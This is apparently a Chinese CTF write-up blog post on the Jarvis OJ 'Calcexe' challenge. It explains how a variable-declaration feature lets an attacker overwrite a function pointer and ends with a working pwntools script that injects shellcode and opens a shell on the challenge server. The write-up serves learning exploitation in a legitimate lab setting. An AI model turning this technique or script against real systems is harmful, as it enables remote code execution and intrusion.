Jarvis OJ - Calcexe の Write-Up

Introduction

题目捎带迷惑性,文件后缀为.exe,看起来是windows下的运行程序,结果在windows上根本无法运行。

Step 1

checksec:

依然是32位的ELF文件。

将程序在IDA中打开,在main函数中发现定义了10个功能:

这是功能申明函数sub_804A719:

所以程序运行是这样的:

Step 2

由于程序很长,所以就挑选关键部分来说。 程序申明了10个函数,如果能够控制这些函数的指针那么就可以控制程序跳转执行shellcode。

而在主函数后发现处理function的函数:

strtok()是分割字符串的函数,这里用来处理空格。0x61是'=',0x34是'“',所以根据伪代码发现程序允许通过var参数声明变量,命令格式为var variable = “value”

这一段程序中还提到了下面的函数:

分析sub_804A820函数发现程序寻址是通过比较变量名实现的,所以即使var add = “eval”也是程序允许的,这样我们就可以控制函数指针了。因此直接把某个函数的method改成shellcode即可。

Step 3

解题脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context(arch = 'i386', os = 'linux')

sh = remote("pwn2.jarvisoj.com", 9892)

shellcode = asm(shellcraft.sh())
payload = 'var add = "'+ shellcode + '"'

sh.sendlineafter(">", payload)
sh.sendline('+')

sh.interactive()
sh.close()

脚本运行结果:

文章作者: ColdSnap
文章链接: https://coldwave96.github.io/2021/02/04/Calcexe/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ColdSnap の Blog